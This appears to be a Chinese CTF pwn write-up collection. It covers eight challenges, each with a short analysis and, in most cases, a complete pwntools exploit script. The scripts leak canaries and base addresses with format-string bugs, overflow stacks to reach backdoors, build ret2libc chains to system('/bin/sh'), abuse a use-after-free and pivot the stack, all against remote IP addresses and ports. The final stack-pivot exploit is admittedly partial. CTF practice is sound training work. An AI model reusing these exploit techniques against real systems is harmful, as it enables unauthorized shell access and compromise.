choice
分析
一道64位开了canary保护的题目,存在一个格式化字符串漏洞函数与栈溢出函数,还有一个后门函数,因此是一个简单的题目。
题解

存在格式化字符串漏洞,可以用来泄漏canary的值,使用gdb调试加上fmtarg算出偏移是多少

该题还存在存在栈溢出和后门函数,因此直接打即可
exp
from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h'])
pwn_file='./choice' #libc_file='./libc.so.6' elf=ELF(pwn_file) #libc=ELF(libc_file)
flag=0 if flag: io=process(pwn_file) else: ip='1.95.7.68' port=2134 io=remote(ip,port)
s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) ul32 = lambda data : u32(io.recv(data).ljust(4,b'\x00')) ul64 = lambda data : u64(io.recv(data).ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) lbp = lambda addr : addr-libc.sym['puts']
ret=0x0400671 backdoor=0x040095B
sl(b"2") sl(b"%25$p") ru(b"0x") canary=i64(16) leak("canary",canary)
sl(b"1") p1=cyclic(0xA0-8)+p64(canary)+p64(0)+p64(backdoor) sl(p1)
io.interactive()
|
bllhl_pie
分析
32位开启了canary与pie保护的题目

存在格式化字符串漏洞与栈溢出

存在后门函数,但是有判断条件
题解
题目程序很简单,可以通过格式化字符串漏洞泄漏canary与基址。由于限制了溢出长度,因此我们只能将返回地址改为后门函数,通过格式化字符串漏洞分两次将hh的值改为1029。
exp
from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time
#context(arch='i386', os='linux')#, log_level='debug', terminal=['tmux', 'splitw', '-h'])
pwn_file='./bllhl_pie' #libc_file='./libc.so.6' elf=ELF(pwn_file) #libc=ELF(libc_file)
flag=0 if flag: io=process(pwn_file) else: ip='1.95.36.136' port=2065 io=remote(ip,port)
s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) ul32 = lambda data : u32(io.recv(data).ljust(4,b'\x00')) ul64 = lambda data : u64(io.recv(data).ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) lbp = lambda addr : addr-libc.sym['puts']
ru(b"Could the challenger leave your name!!!\n") sl(b"%15$p+%19$p") ru(b"0x") canary=i32(8) ru(b"+0x") base_addr=i32(8)-0x900 leak("canary",canary) leak("base_addr",base_addr) hh=base_addr+0x200C input_addr=base_addr+0x843 getshell=base_addr+0x7EA
#gdb.attach(io)
p1=p32(canary)*0xc+p32(input_addr) s(p1)
ru(b"Could the challenger leave your name!!!\n") p2=p32(hh)+b"a"+b"%7$hhn" sl(p2)
s(p1)
ru(b"Could the challenger leave your name!!!\n") p3=p32(hh+1)+b"%7$hhn" sl(p3) p1=p32(canary)*0xc+p32(getshell) s(p1)
io.interactive()
|
libc0xc
分析
32位开启了canary保护,存在格式化字符串漏洞,没有明显的后门函数
题解
利用fmt泄漏canary的值与libc,再打ret2libc即可
exp
from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time
#context(arch='i386', os='linux')#, log_level='debug', terminal=['tmux', 'splitw', '-h'])
pwn_file='./libc0xc' libc_file='./libc.so' elf=ELF(pwn_file) libc=ELF(libc_file)
flag=0 if flag: io=process(pwn_file) else: ip='1.95.36.136' port=2065 io=remote(ip,port)
s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) p_addr = lambda addr : print(hex(addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) ul32 = lambda data : u32(io.recv(data).ljust(4,b'\x00')) ul64 = lambda data : u64(io.recv(data).ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) lbp = lambda addr : addr-libc.sym['puts']
ru(b"Input something to win:\n") sl(b"%31$p--%39$p") ru(b"0x") canary=i32(8) ru(b"--0x") __libc_start_main=i32(8)-247 leak("__libc_start_main",__libc_start_main) leak("canary",canary) leak("__libc_start_main",libc.sym['__libc_start_main']) libc_base=__libc_start_main-0x18550 system=libc_base+0x03a950 bin_sh=libc_base+0x15912b ret=0x080483ce
p=p32(canary)*20+p32(system)+p32(0)+p32(bin_sh) sl(p)
io.interactive()
|
useuaf
分析
一道32位的堆题目,存在后门函数与UAF漏洞
exp
from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time
context(arch='i386', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h'])
pwn_file='./useuaf' #libc_file='./libc.so.6' elf=ELF(pwn_file) #libc=ELF(libc_file)
flag=0 if flag: io=process(pwn_file) else: ip='1.95.36.136' port=2057 io=remote(ip,port)
s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(delim, data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(delim, data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) ul32 = lambda data : u32(io.recv(data).ljust(4,b'\x00')) ul64 = lambda data : u64(io.recv(data).ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) lbp = lambda addr : addr-libc.sym['puts']
shell=0x804875C def add(size,data): sla("4. exit\n","1") sla("Size: ",str(size)) sla("Data: ",data)
def Del(id): sla("4. exit\n","2") sla("Index: ",str(id))
def use(id): sla("4. exit\n","3") sla("Index: ",str(id))
add(32,"a"*32) add(32,b"b"*32)
Del(0) Del(1)
add(8,p32(shell)) use(0)
io.interactive()
|
eslibc
分析
开启了pie保护,但给了input地址,直接打ret2libc即可
exp
from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time
context(arch='amd64', os='linux')#, log_level='debug')#, terminal=['tmux', 'splitw', '-h'])
pwn_file='./eslibc' #libc_file='./libc.so.6' elf=ELF(pwn_file) #libc=ELF(libc_file)
flag=0 if flag: io=process(pwn_file) else: ip='1.95.36.136' port=2059 io=remote(ip,port)
s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(delim, data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(delim, data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) ul32 = lambda data : u32(io.recv(data).ljust(4,b'\x00')) ul64 = lambda data : u64(io.recv(data).ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) lbp = lambda addr : addr-libc.sym['puts']
ru("0x") base_addr=i64(12)-0x9f4 leak("base_addr",base_addr) ret=base_addr+0x07b1 rdi=base_addr+0x0ad3 puts_plt=base_addr+elf.plt['puts'] puts_got=base_addr+elf.got['puts'] main=base_addr+0xA27
p1=cyclic(0x100+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) sl(p1) puts_addr=uul64() leak("puts_addr",puts_addr) libc_base=puts_addr-0x06f6a0 system=libc_base+0x0453a0 bin_sh=libc_base+0x18ce57
p2=cyclic(0x100+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(main) sl(p2)
io.interactive()
|
nihao
分析
简单的ret2text
exp
from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time
context(arch='amd64', os='linux')#, log_level='debug')#, terminal=['tmux', 'splitw', '-h'])
pwn_file='./nihao' #libc_file='./libc.so.6' elf=ELF(pwn_file) #libc=ELF(libc_file)
flag=0 if flag: io=process(pwn_file) else: ip='1.95.36.136' port=2130 io=remote(ip,port)
s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(delim, data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(delim, data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) ul32 = lambda data : u32(io.recv(data).ljust(4,b'\x00')) ul64 = lambda data : u64(io.recv(data).ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) lbp = lambda addr : addr-libc.sym['puts']
ret=0x04005b9 rdi=0x0400893 bin_sh=0x04008c7 system=0x04007C3
p=cyclic(0x40+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) sl(p)
io.interactive()
|
pcshell
分析
开了canary与pie保护,但存在fmt并给出了polar的地址,那么就可以canary的值与基址,直接打即可
exp
from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time
context(arch='i386', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])
pwn_file='./pcshell' #libc_file='./libc.so.6' elf=ELF(pwn_file) #libc=ELF(libc_file)
flag=0 if flag: io=process(pwn_file) else: ip='1.95.36.136' port=2119 io=remote(ip,port)
s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(delim, data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(delim, data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) ul32 = lambda data : u32(io.recv(data).ljust(4,b'\x00')) ul64 = lambda data : u64(io.recv(data).ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) lbp = lambda addr : addr-libc.sym['puts']
sl(b"%47$p") ru("0x") canary=i32(8) leak("canary",canary) ru("0x") base_addr=i32(8)-0x2080 leak("base_addr",base_addr) backdoor=base_addr+0x8B0
p=p32(canary)*45+p32(backdoor) sl(p)
io.interactive()
|
bllhl_easystack
分析
打最基础的栈迁移
exp
不知道为什么远程连不上,由于本地环境与远程不一样,所以就只给出第一次栈迁移的exp,后面打ret2libc是一样的。
s(b"a"*0x50) ru(b"a"*0x50) ebp=u32(io.recvuntil('\xff')[-4:]) leak("ebp",ebp) addr=ebp-0x60 leave_ret=0x0804856f puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] input_addr=0x08048571
p1=p32(puts_plt)+p32(input_addr)+p32(puts_got) p1=p1.ljust(0x50,b'a')+p32(addr-4)+p32(leave_ret) sl(p1)
|